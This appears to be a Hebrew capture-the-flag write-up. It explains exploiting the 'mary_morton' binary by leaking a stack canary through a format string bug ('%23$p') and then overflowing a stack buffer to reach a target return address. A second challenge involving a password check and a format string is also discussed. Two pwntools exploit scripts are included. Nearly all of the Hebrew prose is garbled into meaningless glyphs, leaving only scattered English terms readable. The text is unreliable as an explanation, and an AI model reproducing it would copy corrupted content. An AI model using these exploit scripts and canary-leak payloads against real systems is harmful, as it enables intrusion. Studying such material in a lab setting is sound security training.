 ˭˧˟ ˭ˣ˥˟˪ ˣˮ˪ ˶˷˲˞ˬ˷ ˦˧˶˲˸˪ ˢ˩ˤˮ ,˧˶˞ˮ˧˟ˢ ˸˞ ˳˧˶ˮ ˶˷˞˩buffer overflow ˭˧˟˪ˣ format string 

bug ˫˧˪˟˵ˬ ˣˮ˥ˮ˞˷ ˢ˪ˠˮ ˢ˶ˢˬ˟ .˥˧˦˟ˬ ˧ˡ ˰ˬ˷ˮ .SIGALARM  ˶˥˞˪20  .ˢ˴˶ˢˢ ˸˪˧˥˸ ˰ˠ˶ˬ ˸ˣ˧ˮ˷

 ˫˧˯ˮˬ ˣˮ˥ˮ˞˷˩ ˭˟˴˰ˬ ˧ˡ.˧˦˧˶˵ ˞˪ ˪˟˞ ,˧˶˞ˮ˧˟ˢ ˫˰ ˵˥˷˪ 

ˢ ˪˷ ˢ˧˴˲ˣ˞˪ ˡˣ˞ˬ ˨ˣ˶˞ ˦˪˵ ˵˲˯ˮ ˶˷˞˩ :˸ˣ˧˴˲ˣ˞ˢ ˸˞ ˭˥˟ˮ-buffer overflow ˨˩ ˪˰ ˢ˰ˡˣˢ ˪˟˵ˮ ,

 ˶˸ˣ˞˷stack smashing -  ˫˰ ˧˶˞ˮ˧˟˟ ˶˟ˣˡˬ˷ ˢ˞˶ˮstack canaries .Stack canaries  ˶˷˞ ˨˶˰ ˫ˢ

ˢ ˧ˮ˲˪ ˷ˬˬ ,˸˧ˮ˯˥ˬˢ ˪˰ ˫˵ˣˬˬ-rbp ˧ˮ˲ˬ ˢˮˠˢ ˷ˬ˷ˬ ˶˷˞ ˸˧ˮ˩˸˪ ˧˪˟ˣ˪ˠ ˨˶˰ ˞ˣˢˣ ,˶ˣˬ˷ˢbuffer 

overflows -  ˢˢˤ ˸˧ˮ˯˥ˬˢ ˪˰ ˶ˣˬ˷˷ ˨˶˰ˢ ˫˞ ˵ˣˡ˟˸ ˞˧ˢ ,˶ˣˤ˥˸ ˢ˧˴˵ˮˣ˲ˢ˷ ˧ˮ˲˪˷ ,˞ˣˢ ˭ˣ˧˰˶ˢ
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 ˞˪ ˫˞ˣ ,˧˪˟ˣ˪ˠˢ ˨˶˰˪- ˪ ˭ˬ˧˯ ˢˤ-buffer overflow  ˣˮ˪ ˶˷˲˞˸˷ ˧ˮ˲˪ ˞˴˸ ˸˧ˮ˩˸ˢˣ ,˸˧ˮ˯˥ˬ˟

ˢ ˪˰ ˦˪˸˷ˢ˪-flow˸ˮˬ ˪˰˷ ˨˩ ,  ˥˴ˮ˪stack canary  ˪˷ˬ˪ ,˸˲˯ˣˮ ˢ˷˪ˣ˥˪ ˵˵ˡˤˮ-  ˪˷ ˨˶˰ˢ ˸˶ˠ˯ˢ

.ˢˮˠˢˢ ˪˰ ˶˟ˠ˸ˢ˪ ˪˩ˣˮ ,˸˧˶ˮ˩ˢ ˪˷ ˨˶˰ˢ ˸˞ ˰ˡˮ ˫˞ .˸˧˶ˮ˩ˢ 

 

˟ ˢ˦˧˪˷ ˪ˣ˴˧ˮ ˸ˣ˰˴ˬ˞˟ ˢˤ˩ ˰ˡ˧ˬ ˪˟˵˪ ˪˩ˣˮ ˧˪ˣ˞-format string  .˸˧ˮ˯˥ˬˢˬ ˫˧˩˶˰ ˞ˣ˶˵˪ ˸ˮˬ ˪˰

ˢ ˪˰ ˢ˦˧˪˷ ˣˮ˪ ˷˧ ˭˩˞ ˫˞ˢ ˵ˣˡ˟ˮ-format string: 

 

 ˣˮˬ˷˶ ,ˢˮˣ˷˞˶ˢ ˫˰˲˟άƘŜƭƭƻέ  ˦˪˲˩ ˣˮ˪˟˧˵ˣάƘŜƭƭƻέ ˭˩˞˷ ˢ˞˶ˮˣ ,˦ˬ˶ˣ˲ ˧ˮ˧˧˴ˬ ˣˮ˶˟˰ˢ ,˭˩ˬ ˶˥˞˪ .

 ˫˧ˮˣ˷˞˶ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ˸˷˷ ˸˞ ˫˧˵˧ˤ˥ˬ ˫˧˶ˠˣ˞ˢ ,˶ˣˬ˞˩) ˸˧ˮ˯˥ˬˢˣ ˫˧˶ˠˣ˞ˢˬ ˫˧˩˶˰ ˞ˣ˶˵˪ ˣˮ˥˪˴ˢ

.(ˢ˧˴˵ˮˣ˲ ˪˩˪ 

:˸ˣ˷˰˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˢˬ ˧˪˪˩ ˭˲ˣ˞˟ ˣˮ˪ ˶ˣ˶˟ ,ˢˤˢ ˟˪˷˟ 

¶ ˶ˮ˩ˢ ˸ˠ˷ˢ˟ ˢ˦˧˪˷ ˸˶ˤ˰˟ ˸˧-format string 

¶ ˟ ˷ˣˬ˧˷-buffer overflow ˸˧ˮ˩˸˟ ˢ˦˧˪˷ ˠ˧˷ˢ˪ ˸ˮˬ ˪˰ ˸˧˶ˮ˩ˢˣ 

:˸ˣ˪˞˷ ˢˬ˩ ˣˮ˪ ˷˧ ˭˧˧ˡ˰ 

¶  ?˧˶˞ˮ˧˟˟ ˫˧ˬ˧˧˵ ˢ˥˦˟˞ ˧ˮˣˮˠˮˬ ˡˣ˰ ˣ˪˧˞DEP ?ASLRˢ ˧˲ˣ˞ ˪˰ ˡˣ˞ˬ ˣ˰˧˲˷˧ ˣ˪˞ ˸ˣ˪˞˷ ?-

payload  ˟ˣ˸˩˪ ˨˶˦˴ˮ ˫˞ˢ :ˣˮ˪˷ROP  ,˭˩ ˣˬ˩ .˞˪ ˣ˞ASLR  ˸˷˪ˣ˥˟ ˨˶ˣ˴ ˸ˣ˪˰ˢ˪ ˪ˣ˩˧

information disclosure ˢ˧˰˟ ˢˣˣˢ˧ ˞˪ ˢˤ ˪˟˞ ,- ˟ ˣˮ˪˷ ˢ˦˧˪˷˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ-format string  ˪˰
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˟ ˸˵˯˰˸ˬ˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˱˧˪ˡˢ˪ ˸ˮˬ-format string bug ˪ˣˬ ˢ˸ˣ˞ ˟˧˪˴ˢ˪ˣ ,

-soffset ˢ ˸˞ ˶ˣ˟˷˪ ˨˩ˣ ,˧˶˞ˮ˧˟˟-ASLR .˧˶˞ˮ˧˟ˢ ˪˷ 

¶  ˳ˣ˲˵˪ ˞ˣˢ ˨˶˦˴ˮ˷ ˪˩ˣ ,˧˶˞ˮ˧˟˟ ˸˞˴ˬˮ ˪ˠˡˢ ˸˞ ˢˠ˧˴ˬ˷ ˢ˧˴˵ˮˣ˲ ˫˞ˢ ?˪ˠˡˢ ˸˞ ˠ˧˷ˮ ˡ˴˧˩

 ˠ˧˷ˢ˪ ˨˶˦˴ˮ˷ ˣ˞ ,ˢ˧˪˞shell ?ˣˮ˧ˬ˴˰˟ ˣ˸ˣ˞ ˷˲˥˪ˣ 

¶ ˢ ˪˷ ˫ˣ˵˧ˬˢ ˢˬ-canary ˟-format string bugˢ ˪˷ ˨˶ˣ˞ˢ ˢˬ ?-buffer ˟-stack bufferoverflow 

bug? 

 ˢˮˣ˷˞˶ˢ ˢ˪˞˷ˢ ˪˰ ˸ˣˮ˰˪ˬ ˪˧˥˸ˮ- ˶ˮ ˸˥˸ ˧˶˞ˮ˧˟ˢ ˸˞ ˳˧gdb  ˱˯ˣ˸ˢ ˫˰PEDA ˣ˧˪˰ ˳˧˶ˮˣ ,

checksec x-aslr:ˣ˪˷ ˸ˣˮˠˢˢ ˸˞ ˵ˣˡ˟˪ ˸ˮˬ ˪˰ , 

 

 ˢˮˣ˷˞˶ˢ ˢ˪˞˷˪ ˢ˟ˣ˷˸ˢ ˸˞ ˣˮ˪˟˧˵-  ˷˧ ˧˶˞ˮ˧˟˟NX )DEP ˭˧˞ ˨˞ ,˸˧˶ˮ˩ˣ (ASLR ˨˶˦˴ˮ˷ ˭˩˸˧ .

ˢ ˸˞ ˱ˣ˵˰˪-NX  ˫˰ROP )Return Oriented Programming - ˰˲ ˶˲˯ˬ ˶˟˰˟ ˣ˶˵˯˷ ˞˷ˣˮ .(˭˧ˤˠˬ˟ ˫˧ˬ

˟ ˧˶˞ˮ˧˟ˢ ˸˞ ˥˸˲ˮ ,˸ˣ˲˯ˣˮˢ ˸ˣ˪˞˷ˢ ˪˰ ˸ˣˮ˰˪ ˸ˮˬ ˪˰-IDA . 

 ˸ˮ˧˧ˮ˰ˬ ˸ˤˣ˶˥ˬ ˷˧ ˫˞ ˢ˞˶ˮˣ ,˧˶˞ˮ˧˟ˢ ˪˷ ˸ˣˤˣ˶˥ˬˢ ˸ˮ˧˥˟ˬ ˪˧˥˸ˮ- ˢ ˸˞ ˵ˣˡ˟ˮ ,˷˧ ˫˞-xrefs  ,ˢ˪˷

 ˞ˣˢ ˢ˪˷ ˭˩ˣ˸ˢ˷ ˸ˤˣ˶˥ˬ ˷˧˷ ˢ˞˶ˮ ,˸ˣˤˣ˶˥ˬˢ ˸ˮ˧˥˟ˬ .˸ˤˣ˶˥ˬ˟ ˫˧˷ˬ˸˷ˬ ˢ˟ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮˣ

άκōƛƴκŎŀǘ ΦκŦƭŀƎέ - ˪ ˸˞˶ˣ˵˷ ˸˶˸˯ˣˬ ˢ˧˴˵ˮˣ˲˪ ˰˧ˠˮ ,˸ˤˣ˶˥ˬˢ ˶˥˞ ˟˵˰ˬˬ .˥˧˦˟ˬ ˢ˞˶ˮ-system 

 ˶˥˞˪ ˡ˧ˬ ,ˢˡˣ˵˲˩ ˪"ˮˢ ˸ˤˣ˶˥ˬˢ ˫˰main: 

 

 ˭˧˞ .ˢ˧˴˵ˮˣ˲˪ ˳ˣ˲˵˪ ˞ˣˢ ˸ˣ˷˰˪ ˨˧˶˴˷ ˢˬ ˪˩ ˭˩˪ ,˫ˢ˷˪˩ ˫˧˦ˮˬˣˠ˶˞ ˪˰ ˸˩ˬ˸˯ˬ ˞˪ ˢ˧˴˵ˮˣ˲ˢ

ASLR ˪˷ ˸˵˧ˣˡˬˢ ˸˟ˣ˸˩ˢ ˪˰ ˨ˬ˸˯ˢ˪ ˪˩ˣˮ ˭˩˪ ,.ˢ˧˴˵ˮˣ˲ˢ 
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 ˞ˣˢ ˢ˴˵ˣˬ˷ ˶˲˞˟ˢ ˨˶ˣ˞˷ ˢ˞˶ˮˣ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˧ˮ˯˥ˬˢ ˢˮ˟ˬ ˸˞ ˭˥˟ˮ0x88 ,˸˧˶ˮ˩ˢ ˰˧˲ˣ˸ ˣ˧˶˥˞ .

 ˨˶ˣ˞˟0x08ˢ ˣ˧˶˥˞ ,-rbp ˢ ˪˷-frame ˢ) ˫ˡˣ˵ˢ-frame ˪ ˢ˞˧˶˵ˢ ˢ˷˥˶˸ˢ ˣ˟˷-stack_buffo_bug ,(

ˢ ˣ˧˶˥˞ˣ-rip ˢ ˪˷ ˶ˣˬ˷ˢ-frame  ˫ˡˣ˵ˢ-  ˯ˣ˶ˡ˪ ˨˶˦˴ˮ ,˶ˣˬ˞˩ .ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˟ˣ˸˩ˬ ˡ˥˞ ˸˧˟ ˵˶

.ˢ˶ˤ˥ˢ 

˪ ˸˧ˮ˟˸ ˫ˣ˷˶ˮˣ ˢ˩ ˪˰ ˣˮ˶˟˴˷ ˰ˡ˧˟ ˷ˬ˸˷ˮ-exploit :ˣˮ˪˷ 

from pwn import *  

 

context.update( arch ='amd64' )  

 

canary = None  # TODO: Leak canary value using format string bug  

 

r = process( "./mary_morton" )  

r.recvuntil( "Exit the battle \ n" )  

 

return_address = p64( 0x4008da )  

 

payload = "A" * 0x88 + canary + " \ x00 " * 8 + return_address  

 

r .sendline( "1" )  

r .sendline(payload)  

 

r .interactive()  

ˢ ˸˞ ˱˧˪ˡˢ˪ ˵˶ ˶˞˷ˮ-canaryˢ ˸˞ ˭˥˟ˮ .-stack  ˸˞ ˸˰˴˟ˬ˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷format string bug 

ˢ˷ ˥˩ˣˣ˧ˮˣ ,˦˧˶˲˸˟-stack ˪ ˢˢˤ ˢ˪˷-stack  ˪˷stack_buffo_bug ˪˷ ˵˥˶ˬ˟ ˸˞˴ˬˮ ˸˧˶ˮ˩ˢ ,˶ˬˣ˪˩ .

17 QWORDS ˩ ˫˧˶˟˰ˬ ˣˮ˞˷ ˶˲˞˟ˢ ˸˪˧˥˸ˬ-format stringˢ ˦ˮˬˣˠ˶˞ˢ ˸˞ ˞ˣ˶˵˪ ˣˮ˧˪˰ ,˭˩˪ .-18 

˪ ˢ˞˧˶˵ˢ ˸˰˟˷ ˭ˣˣ˧˩ˬ) ˸˧ˮ˯˥ˬˢ ˸˧˷˞˶ˬ-printf ˸˧ˮ˯˥ˬˢ ˸˧˷˞˶ ,- rsp -  ˪˰ .(˶˲˞˟ˢ ˸˪˧˥˸ ˞˧ˢ

ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ˟ ˷ˬ˸˷ˢ˪ ˪˩ˣ-format string  :˞˟ˢά҈ноϷǇέ ˢˬ˪ .23  ˞˪ˣ18 ,ˣˮ˧˧˴˷ ˧˲˩˷ ˭ˣˣ˧˩ˬ ?

-˟64- .˸˧ˮ˯˥ˬˢ ˧˟ˠ ˪˰ ˭˩ˬ ˶˥˞˪ ˵˶ˣ ,˫˧˶ˠˣ˞ˢ ˧˟ˠ ˪˰ ˫˧˶˟˰ˣˬ ˫˧ˮˣ˷˞˶ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ˸˷˷ ,˦˧˟

ˢ ˞ˣˢ ˭ˣ˷˞˶ˢ ˦ˮˬˣˠ˶˞ˢ-format string ˧˟ˠ ˪˰ ˶˟˰ˣˬˣ ,rdi ,˧˷˧˪˷ ,˧ˮ˷ ,˭ˣ˷˞˶ˢ ˫˧˦ˮˬˣˠ˶˞ˢ ,˭˩˪ .

˶ ˧˷˧ˬ˥ˣ ˧˰˧˟-  ˫˧˶ˠˣ˞ ˧˩˶˰ ˫˪ˣ˩ ˫ˢ-  ˸˞ ˞ˣ˶˵˪ ˸ˮˬ ˪˰ ,˭˩˪ .˸˧ˮ˯˥ˬˢˬ ˞ˣ˶˵˪ ˪˧˥˸ˮ ˭˩ˬ ˶˥˞˪ ˵˶ˣ

-sQWORD s-17 ˢ ˦ˮˬˣˠ˶˞ˢ ˸˞ ˷˵˟˪ ˣˮ˧˪˰ ,˸˧ˮ˯˥ˬˢˬ-18+5 - s-23. 
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˟ ˶ˤ˰ˮ-pwntools ˢ ˸˞ ˫ˣ˷˶˪ ˫˧˧˯ˮˣ ,˸ˤˣ˶˥ˬ˩ ˣ˪˷ ˧˪ˬ˧˴ˡ˯˵ˢ ˠˣ˴˧˧˪ ˶˲˯ˬˢ ˸˞ ˶˧ˬˢ˪ ˸ˮˬ ˪˰-

exploit :ˣˮ˪˷ 

from pwn import *  

 

context.update( arch ='amd64' )  

 

r  = process( "./mary_morton" )  

r .recvuntil( "Exit the battle" )  

 

r .sendline( "2" )  

r .sendline( "%23$p" )  

canary = p64( int ( r .recvuntil( "Exit the battle" ).split( " \ n1." )[ 0].split( " \ n" )[ 1] , 

16))  

 

return_address = p64( 0x 4008da )  

payload = "A" * 0x88 + canary + " \ x00 " * 8 + return_address  

 

r .sendline( "1" )  

r .sendline(payload)  

 

r .interactive()  

ˢ ˪˷ ˠˣ˲ˮ˵ ˶˥˞˪-exploit :˪ˠˡˢ ˸˞ ˪˟˵ˮ ,ˣ˸˴˶ˢˣ ˵˥ˣ˶ˬˢ ˸˶˷ˢ ˪ˣˬ ˳ˣ˶˪ 

 

 ˭ˣ˷˞˶ˢ ˶ˠ˸˞ˢ ˸˞ ˣˮˬ˧˧˯ˣJ 
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Greg Lestrade 

 .˞˟ˢ ˶ˠ˸˞ˢ ˸˞ ˡ˧˶ˣˮ:˫ˣ˯˥ˬ˟ ˪˵˸˧ˮ ,˫˰˲ˢ .˵ˬˣ˰˪ ˣ˸ˣ˞ ˶ˣ˵˥˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪ ˣ˸˧˞ ˵˥˷˪ ˢ˯ˮˮ ,˟ˣ˷ 

 

˟ ˧˶˞ˮ˧˟ˢ ˸˞ ˥ˣ˸˲˪ˬ ˯ˣˮˬ ˭˧˞ .ˣ˸˪ˣ˰˲ ˸˞ ˵˧˯˲ˢ ˧˶˞ˮ˧˟ˢ ˣˮ˧˰˦˷˩ˣ ,ˢˬ˯˧˯ ˯˧ˮ˩ˢ˪ ˣˮ˷˵˟˸ˮ-IDA .

ˢ ˸˧˧˴˵ˮˣ˲ ˸˞ ˭˥˟ˮ-main ˦˟ˬ˟ .pseudocode ˬ ˫˧˞˶ˣ˵˷ ˶ˣ˶˧˟˟ ˧ˡ ˸ˣ˞˶˪ ˪˩ˣˮ-stdin  ˪˷ ˨˶ˣ˞˟ ˦˪˵

 ˡ˰0x200  ˨˶˰ ˨ˬ˯ ˪˰ˣ ˧ˢ˷˪˩ ˢ˧˴˵ˮˣ˲˪ ˶˲˞˟ˢ ˸˞ ˫˧˶˧˟˰ˬ ˭˩ˬ ˶˥˞˪ˣ ,˶˲˞˟˟ ˣ˸ˣ˞ ˫˧˟˧˴ˬ ,˫˧ˣˣ˸

 ˸˰ˡˣˢ ˣ˞ ˦˧˶˲˸ ˠ˧˴ˢ˪ ˫˞ ˫˧˦˧˪˥ˬ ˢ˪˷ ˢ˶ˤ˥ˢwrong credential ˫˷˟ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭ˬ˯ˮ .

check_password. 

 

 ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮcheck_passwordˢ ˭˧˟ ˢˣˣ˷ˬ ˞˧ˢ˷ ˢ˞˶ˮ .-input ˟ ˸˞˴ˬˮ˷ ˸˧˪˟ˣ˪ˠ ˸ˤˣ˶˥ˬ ˭˧˟˪-

data segment ˢ˧˴˵ˮˣ˲ˢ ˸˶ˤ˰˟ ˸˰˴˟˸ˬ ˢ˞ˣˣ˷ˢˢ .strncmp ˸ˣˤˣ˶˥ˬˢ˷ ˢ˦˧˪˥ˬ ˢ˧˴˵ˮˣ˲ˢ ˫˞ˣ ,

 ˶ˤ˥ˣˬ ,˸ˣˣ˷1 .ˣˮ˧ˮ˲˟ ˥˸˲˧˧ ˭˧ˬˡ˞ˢ ˪ˮ˞˲ˣ 
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˞ˣˢ ˢˬ˯˧˯ˢ ˪˷ ˧˪˟ˣ˪ˠˢ ˨˶˰ˢ˷ ˞˴ˬˮ ˦ˣ˷˲ ˧ˡ ˭˲ˣ˞˟ ,˭˞˩ˬ: 

 

ˣ˞ˢ ˡ˰ ˵˶ ˫˧ˣˣ˷ˬ :˸˧ˠˣ˪ ˢ˷˪ˣ˥ ˭˞˩ ˷˧ ,˭˩ ˣˬ˩ ˪˷ ˨˶GLOBAL_PASSWORD ˦˪˵˟ ˫˧˦˪ˣ˷ ˣˮ˥ˮ˞ ˪˟˞ ,

 ˧ˡ˩˪ ˰˧ˠˢ˪ ˪ˣ˩˧ ˣ˩˶ˣ˞˷0x200  ˪˰ ˰ˡ˧ˬ ˡˣ˰ ˭˯˥˞˪ ,˨˶ˣ˴ˢ ˸ˡ˧ˬ˟ ,˪˩ˣˮ ˭˩˪ ,˫˧ˣˣ˸user_input  ˪˩˟ˣ

.˸˧˸˧ˬ˞ˢ ˢˬ˯˧˯˟ ˪˧˥˸˸ ˣˮ˪˷ ˸ˤˣ˶˥ˬˢ ˡˣ˰ ˪˩ ,ˢ˞ˣˣ˷ˢˢ ˸˞ ˶ˣ˟˰˪ ˸˞ˤ 

 ˢ˧˪˞ ˟˪ ˫˧˷ˮ˷ ˢ˷˪ˣ˥ ˡˣ˰- ˢ ˞˧ˢ-buffer overflow ˟ ˷˧˷-main ˸ˤˣ˶˥ˬˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ :user_input 

 ˪˷ ˨˶ˣ˞˟ ,˸˧ˮ˯˥ˬˢ ˪˰ ˸˶ˡˠˣˬ0x28 ˫˧˞˶ˣ˵˷ ˭ˣˣ˧˩ˬ .0x200  ˨ˣ˸˪ ˫˧ˣˣ˸user_input ˸˧˪˞˧˴ˮ˦ˣ˲ ˭˸˧ˮ ,

˪ ˫ˣ˶ˠ˪-buffer overflow  ˸˥˞ ˢ˧˰˟ ˵˶ ˷˧ .˧˯˞˪˵- ˢˬ-disassembly  ˭˩˪ ,˸˧˶ˮ˩ ˸ˬ˧˧˵˷ ˸ˣ˞˶˪ ˭˸˧ˮ

ˢ ˸˞ ˪˴ˮ˪ ,ˢˤ ˟˪˷˟ ˸ˣ˥˲˪ ,˪˩ˣˮ ˞˪-buffer overflow.˸˧˶ˮ˩ˢ ˪˰ ˰ˡ˧ˬ ˠ˧˷ˢ˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˨˶˦˴ˮ . 

 

 ˸ˣ˧ˣ˶˷˲˞ ˧˸˷ ˣ˟ˣ ˪ˣˢ˧ˮ ˦˧˶˲˸ ˣˮ˪ ˠ˴ˣ˧ ,˶˟˥˸ˮ˷ ˶˥˞˪-  ˣ˞ ,(˸˧ˮ˩˸ˢ ˸˶˧ˠ˯˪ ˫ˣ˶ˠ˧) ˸˧ˮ˩˸ˢˬ ˸˞˴˪

.˭˧ˬˡ˞ ˸˪ˣ˰˲ ˰˴˟˪ ˶˥˟ˮ .˭˧ˬˡ˞ ˸˪ˣ˰˲ ˰˴˟˪ 

:ˢ˶ˣ˵ ˢˬ ˢ˞˶ˮˣ ˦˪˵˩ ˧ˢ˷˪˩ ˸ˤˣ˶˥ˬ ˵˲˯˪ ˢ˯ˮˮ 
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ˣ˟˰ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ˢ˞˧ˠ˷ ˸˰ˡˣˢ ˣˮ˪˟˧˵ ,˸ˣˮ˦˵ ˸ˣ˧˸ˣ˞ˣ ˢ˪ˣˡˠ ˸ˣ˞ ,˫˧˥ˣˣ˶ ˸˪˪ˣ˩˷ ˸ˤˣ˶˥ˬ ˶

 ˸˥˞ ˢ˪˧ˬ ˫˰ ˫˰˲ˢ ,˟ˣ˷ ˣˮ˧˯˧ˮ ˶˷˞˩ ˪˟˞ .˸ˣˮ˦˵ ˸ˣ˧˸ˣ˞ˬ ˵˶ ˢ˧ˣˮ˟˷ ˢˡˣ˵˲ ˵˲˯˪ ˷˧˷ ˸ˮ˰ˣ˦˷

.ˢ˞˧ˠ˷ ˸˰ˡˣˢ ˢ˸ˣ˞ ˸˞ ˟ˣ˷ ˣˮ˪˟˧˵ ,ˡ˟˪˟ ˸ˣˮ˦˵ ˸ˣ˧˸ˣ˞ˬ ˸˟˩˶ˣˬˢ 

˪ ˶ˣˤ˥˪ ˣˮ˧˪˰ ,ˢˤ ˟˪˷˟-disassembly˸˞ ˭˥˟ˮ . ˟ ˫˧˶˥ˣ˟ ˣˮ˞ ˶˷˞˩ ˫˧˴˲ˣ˵ ˣˮ˞ ˢ˧˪˞ ˢ˧˴˵ˮˣ˲ˢ-admin 

action˟ ˭ˮˣ˟˸ˮ .-pseudocode :ˢ˪˷ 

 

 ˡ˰ ˟ˣ˸˩˪ ˣˮ˪ ˫˧˶˷˲˞ˬ ,ˢˡˣ˵˲ˢ ˸˦˧˪˵ ˶ˣ˟˰˷ ˸ˣ˞˶˪ ˭˸˧ˮ0x3ff  ˨˶ˣ˞ ˸˞ ˫˧˟˷˥ˬ ,˭˩ˬ ˶˥˞˪ .˫˧ˣˣ˸

 ˭˧˟˷ ˫ˣ˥˸˟ ˞ˣˢ ˫˞ ˫˧˵ˡˣ˟ ,ˣ˸ ˪˩ ˶ˣ˟˰ .ˡ˥˞ ˣ˪ ˫˧˲˧˯ˣˬˣ ˢˡˣ˵˲ˢ97 ˪-122  ˞ˣˢ ˪"ˮˢ ˫ˣ˥˸ˢ .(˪˪ˣ˩)

ˢ ˧˩˶˰ ˫˧˲ˣˬˬ ˣ˧˪˞˷ ˫ˣ˥˸ˢ-ASCII  ,˪"ˮˢ ˫ˣ˥˸˟ ˞˴ˬˮ ˞˪ ˣ˸ˢ ˫˞ .˸ˣˮ˦˵ˢ ˸ˣ˧ˤ˰ˣ˪ˢ ˸ˣ˧˸ˣ˞ˢ ˪˷

 ˢ˧˴˵ˮˣ˲ˢ ˞˶˵˸ ,ˢ˵˧ˡ˟ˢ ˸˞ ˶˟˰ ˦˪˵ˢ ˪˩ˣ ˢˡ˧ˬ˟ .˫ˡ˵ ˣˮ˧˞˶˷ ˢ˞˧ˠ˷ˢ ˸˰ˡˣˢ ˯˲ˡˣ˸printf  ˫˰

ˢ ˶ˣ˸˟ ˢˡˣ˵˲ˢ-format string. 

˟ ˢ˦˧˪˷ ˣˮ˪ ˷˧˷ ˢ˞˶ˮ ,ˡ˥˞ ˡ˴ˬ-format string ˦ˣ˷˲ ˧ˡ ˭˲ˣ˞˟ˣ ,-  ˦˰ˬ ˸ˣ˵˧ˮ˩˦˟ ˷ˣˬ˧˷ ˨ˣ˸ ˧˩ ˫˞

 ˫ˡˣ˵ˢ ˶ˠ˸˞˟ˬ ˸ˣˬˡ˵˸ˬ ˶˸ˣ˧- :˸ˣ˪˟ˠˢ ˢˬ˩ ˣˮ˪ ˷˧ ,˸˞ˤ ˫˰ .ˢˤˢ ˶ˠ˸˞ˢ ˸˞ ˫ˠ ˶ˣ˸˲˪ ˢ˧ˢ˧ ˭˸˧ˮ 

¶  ˣ˸˟ ˷ˣˬ˧˷ ˫˧˷˶ˣˡ ˫ˢ˷ ˭ˣˣ˧˩ˬ ,˭˧˧˴ˬ ˱˞˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ˞˪ .˸ˣˮ˦˵ ˸ˣ˧˸ˣ˞˪ ˵˶ ˫˧˪˟ˠˣˬ ˣˮ˞Ψ҈Ω! 

¶  ˫˧˵˲˯ˬ ˣˮ˞ ˶˷˞˩ ˫ˠ .ˢ˞˧ˠ˷ˢ ˸˰ˡˣˢ ˸˞ ˫˧˪˟˵ˬ ˭˧˧ˡ˰ ˣˮ˞ ,˸ˣˮ˦˵ ˸ˣ˧˸ˣ˞ˬ ˣ˪ˣ˩ ˟˩˶ˣˬ˷ ˦˪˵

?ˢˬ˪ 

 ˞˧ˢ ˢ˧˧ˮ˷ˢ ˢ˪˞˷˪ ˢ˟ˣ˷˸ˢ-  ˶ˠ˸˞˟ ˧ˠˣ˪ ˠ˞˟ ˷˧˷ ˭ˣˣ˧˩ˬJ 

˪ ˫˧˞˶ˣ˵ ,ˢˡˣ˵˲ˢ ˨˶ˣ˞ ˸˞ ˫˧˟˷˥ˬ ˶˷˞˩ :˶˧˟˯ˮ-strlen  ˪˩ ˪˰ ˫˧˶˟ˣ˰ ˭˩ˬ ˶˥˞˪ .ˡ˥˞ ˫˧˲˧˯ˣˬˣ

 ˯˵ˡˮ˧˞˟ ˣ˸ˢˬ ˳ˣ˥ ˫˧ˣˣ˸ˢstrlen(command)+1ˢ˷ ,ˢ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞ˣ-null terminator ˡˣ˵ˢ ˵˪˥˟ .

 ˭˧˟ ˟ˣ˪˧˷ˢ ˞˧ˢ ˢ˧˰˟ˢ ˨˞ ,ˣˬ˴˰˷˩˪ ˢ˧˰˟ ˭˧˞ ˢˤˢstrlen x-read˪ ˢ˞˧˶˵˟ .-read" ˷˧˵ˮ ˶˷˞˩ ,abc "

 ˢ˷ˡ˥ˢ ˢ˶ˣ˷ˢ ˣ˸ ˫ˠ ,˶˦ˮ˞ ˪˰ ˳˥˪ˮˣ- ά\ƴέ -  ˪˟˵ˮˣ ˶˲˞˟ˢ ˨ˣ˸ ˪˞ ˞˶˵˧άŀōŎ\ƴέ ˢ˶ˣ˵ ˶˟ˡ ˣ˸ˣ˞ .
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˷ ˨˩˪ ˫˶ˣˠ ˶˟ˡˢ .˭˞˩-strlen  ˸˞ ˫ˠ ˟˧˷˥ˬ\n  ˣ˸˩ï ˩˷,˭ ˟ ˵˶ ˶˴ˣ˰ ˞ˣˢ-null terminator -  ˭ˣˣ˧˩ˬˣ

 ˫˧˲˧˯ˣˬ˷1 ˪˰ ˫ˠ ˶ˣ˟˰ˮ ˣ˟˷ ˟˴ˬ ˶˴ˣˮ ,ά\ƴέ.˧˞ˮ˸˟ ˡˣˬ˰˪ ˶˷˲˞ ˧˞˷ ˨˩ , 

 ˶˲˯ˬ ˣ˧ˢ˷ ˧˸˧˞˶ ˪˟˞ ,˭˧˵˸ ˞˪ ˞ˣˢ˷ ˢ˟˷˥ˬ ˨ˣ˸ˬ ,˶ˠ˸˞ˢ ˪˰ ˶˸ˣˣ˪ ˧˸˟˷˥ ˢ˪˥˸ˢ˟ ?˫ˮˬˣ˞ˢ

˷ ˶ˣ˶˟ ˞˪˧ˬˬˣ ,ˣ˸ˣ˞ ˶ˣ˸˲˪ ˣ˥˧˪˴ˢ˷ ˫˧˷ˮ˞ ˪˴ˮ˪ ˪˧˟˷˟ ˢ˵˧ˡ˟ˢ ˸˞ ˱ˣ˵˰˪ ˧ˢ˷˪˩ ˨˶ˡ ˞ˣ˴ˬ˪ ˨˧˶˴

˟ ˣˮ˪˷ ˢ˦˧˪˷ˢ ˸˞-format string.˧˸˩˷ˬˢ ˤ˞ , 

